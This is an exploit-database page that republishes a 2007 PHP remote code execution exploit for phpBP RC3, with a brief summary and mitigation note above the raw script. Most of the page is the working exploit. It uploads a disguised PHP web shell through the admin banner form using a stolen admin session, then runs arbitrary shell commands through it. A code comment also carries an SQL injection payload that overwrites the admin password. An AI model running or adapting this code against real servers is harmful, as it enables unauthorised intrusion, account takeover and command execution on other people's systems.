phpBP - exploit.company

vendor:
phpBP
by:
Kacper
7.5
CVSS
HIGH
Remote Code Execution
CWE
Product Name: phpBP
Affected Version From: phpBP RC3 (2.204)
Affected Version To: phpBP RC3 (2.204)
Patch Exists: NO
Related CWE:
CPE:
Metasploit:
Other Scripts:
Platforms Tested:
phpBP <= RC3 (2.204) (sql/cmd) Remote Code Execution Exploit

This exploit allows an attacker to execute remote code on a phpBP RC3 (2.204) server. The vulnerability is caused by a SQL injection and command injection vulnerability in the phpBP script. To successfully exploit this vulnerability, the attacker needs to have an admin session.
Mitigation:

To mitigate this vulnerability, it is recommended to update the phpBP script to a version that has addressed this vulnerability. Additionally, input validation and sanitization should be implemented to prevent SQL and command injection attacks.
Source
Exploit-DB raw data:

<?
//**************************************************************
//Kacper & str0ke Settings 
$exploit_name = "phpBP <= RC3 (2.204) (sql/cmd) Remote Code Execution Exploit";
$script_name = "phpBP RC3 (2.204)";
$script_site = "http://www.phpbp.com/";
$dork = 'Silnik strony jest chroniony prawami autorskimi PHP BP Team';
//to work exploit you need admin session
//**************************************************************
print '
:::::::::  :::::::::: :::     ::: ::::::::::: :::        
:+:    :+: :+:        :+:     :+:     :+:     :+:        
+:+    +:+ +:+        +:+     +:+     +:+     +:+        
+#+    +:+ +#++:++#   +#+     +:+     +#+     +#+        
+#+    +#+ +#+         +#+   +#+      +#+     +#+        
#+#    #+# #+#          #+#+#+#       #+#     #+#        
#########  ##########     ###     ########### ########## 
::::::::::: ::::::::::     :::     ::::    ::::  
    :+:     :+:          :+: :+:   +:+:+: :+:+:+ 
    +:+     +:+         +:+   +:+  +:+ +:+:+ +:+ 
    +#+     +#++:++#   +#++:++#++: +#+  +:+  +#+ 
    +#+     +#+        +#+     +#+ +#+       +#+ 
    #+#     #+#        #+#     #+# #+#       #+# 
    ###     ########## ###     ### ###       ### 
	
   - - [DEVIL TEAM THE BEST POLISH TEAM] - -
 

[Exploit name: '.$exploit_name.'
[Script name: '.$script_name.'
[Script site: '.$script_site.'
dork: '.$dork.'

Find by: Kacper (a.k.a Rahim)
Blog: http://kacper.bblog.pl/

DEVIL TEAM IRC: irc.milw0rm.com:6667 #devilteam
DEVIL TEAM HOME: http://www.rahim.webd.pl/

Contact: kacper1964@yahoo.pl

(c)od3d by Kacper
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Greetings DragonHeart and all DEVIL TEAM Patriots :)
- Leito & Leon | friend str0ke ;)

pepi, D0han, d3m0n, D3m0n (ziom z Niemiec :P)
dn0de, DUREK5, fdj, konsol, mass, michalind, mIvus, nukedclx, QunZ,
RebeL, SkD, Adam, drzewko, Leito, LEON, TomZen, dub1osu, ghost, WRB

 and
 
Dr Max Virus
TamTurk,
hackersecurity.org
and all exploit publishers
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
                Greetings for 4ll Fusi0n Group members ;-)
                and all members of hacker.com.pl ;)
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

            Kacper Hacking & Security Blog: http://kacper.bblog.pl/
';
/*
Exploit upload evil script when admin add new banner in portal.

i Find some errors in forum. Enter in comment forum:
                                                                                                                                                                                                                                                                                 */
//fajny';UPDATE/**/`22_users`/**/SET/**/`pass`/**/=/**/'6a8f25e5b30777a0435c22fe36f45e3c',`buddies`/**/=/**/NULL,`forum_subscribed`/**/=/**/NULL,`forum_subscribed_clicked`/**/=/**/NULL,`forum_unsubscribe`/**/=/**/NULL/**/WHERE/**/`id`/**/=/**/'1'/**/LIMIT/**/1;
/*
then you can insert SQL code :)
*/
if ($argc<5) {
print_r('
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Usage: php '.$argv[0].' host path admin_session cmd OPTIONS
host:       target server (ip/hostname)
path:       phpBP Forum path
admin_session: admin session id
cmd:        a shell command (ls -la)
Options:
 -p[port]:    specify a port other than 80
 -P[ip:port]: specify a proxy
Example:
php '.$argv[0].' 2.2.2.2 /phpBP/ d6c6cae3dfea20a0a5358fc9baff47be ls -la -P1.1.1.1:80
php '.$argv[0].' 2.2.2.2 /phpBP/ d6c6cae3dfea20a0a5358fc9baff47be ls -la
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
');
die;
}
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);
function quick_dump($string)
{
  $result='';$exa='';$cont=0;
  for ($i=0; $i<=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
   {$result.="  .";}
   else
   {$result.="  ".$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=" ".dechex(ord($string[$i]));}
   else
   {$exa.=" 0".dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
  }
 return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacket($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
	}
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
}
function make_seed()
{
   list($usec, $sec) = explode(' ', microtime());
   return (float) $sec + ((float) $usec * 100000);
}
$host=$argv[1];
$path=$argv[2];
$adsess=$argv[3];
$cmd="";
$port=80;
$proxy="";
for ($i=4; $i<$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>"-p") and ($temp<>"-P")) {$cmd.=" ".$argv[$i];}
if ($temp=="-p")
{
  $port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
  $proxy=str_replace("-P","",$argv[$i]);
}
}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
echo "Connected...\n";
$data ="--H4ck\r\n";
$data.="Content-Disposition: form-data; name=\"url\";\r\n\r\n";
$data.="http://kacper.bblog.pl/\r\n";
$data ="--H4ck\r\n";
$data.="Content-Disposition: form-data; name=\"limit\";\r\n\r\n";
$data.="0\r\n";
$data ="--H4ck\r\n";
$data.="Content-Disposition: form-data; name=\"image\";\r\n\r\n";
$data.="1\r\n";
$data ="--H4ck\r\n";
$data.="Content-Disposition: form-data; name=\"form\";\r\n\r\n";
$data.="1\r\n";
$data ="--H4ck\r\n";
$data.="Content-Disposition: form-data; name=\"image_form\" filename=\"d.jpg.vil.gif.php\";\r\n\r\n";
$data.="Content-Type: text/plain\r\n";
$data.="Content-Transfer-Encoding: binary\r\n";
$data.='<?php ob_clean();//Ruchomy zamek Hauru ;-)echo"...Hacker..Kacper..Made..in..Poland!!...DEVIL.TEAM..the..best..polish..team..Greetz...";echo"...Go To DEVIL TEAM IRC: irc.milw0rm.com:6667 #devilteam";echo"...DEVIL TEAM SITE: http://www.rahim.webd.pl/";ini_set("max_execution_time",0);echo "Hauru";passthru($_SERVER[HTTP_HAURU]);die;?>\r\n';
$data ="--H4ck\r\n";
$data.="Content-Disposition: form-data; name=\"image_http\";\r\n\r\n";
$data.="http://\r\n";
$data ="--H4ck\r\n";
$data.="Content-Disposition: form-data; name=\"swf\";\r\n\r\n";
$data.="0\r\n";
$data ="--H4ck\r\n";
$data.="Content-Disposition: form-data; name=\"alt\";\r\n\r\n";
$data.="0\r\n";
$data ="--H4ck\r\n";
$data.="Content-Disposition: form-data; name=\"submit\";\r\n\r\n";
$data.="Add\r\n";
$data.="--H4ck--\r\n";
echo "wait now insert evil code...\n";
$packet ="POST ".$p."index.php?module=admin&action=banners&cmd=add HTTP/1.0\r\n";
$packet.="Cookie: phpBP2=".$adsess.";\r\n";
$packet.="Content-Type: multipart/form-data; boundary=--H4ck\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacket($packet);
$packet ="GET ".$p."index.php?module=admin&action=banners HTTP/1.0\r\n";
$packet.="Cookie: phpBP2=".$adsess.";\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacket($packet);
$temp=explode('<TD CLASS="row_1" ALIGN="CENTER"><A HREF="upload/banners/',$html);
$temp2=explode('.php" TARGET="_blank">',$temp[1]);
$uploadid=trim($temp2[0]);
if ($uploadid) {echo "Step 1\n";
echo "Upload id: ".$uploadid."\n";
$packet ="GET ".$p."upload/banners/".$uploadid.".php HTTP/1.0\r\n";
$packet.="HAURU: ".$cmd."\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacket($packet);
sleep(1);
}else {
echo "exploit failed... can't upload script :/\n";
echo "Go to DEVIL TEAM IRC: irc.milw0rm.com:6667 #devilteam\r\n";
die("\n\nClose Connection");
}
if (strstr($html,"Hauru"))
{
$temp=explode("Hauru",$html);
die($temp[1]);
}
?>

# milw0rm.com [2007-01-18]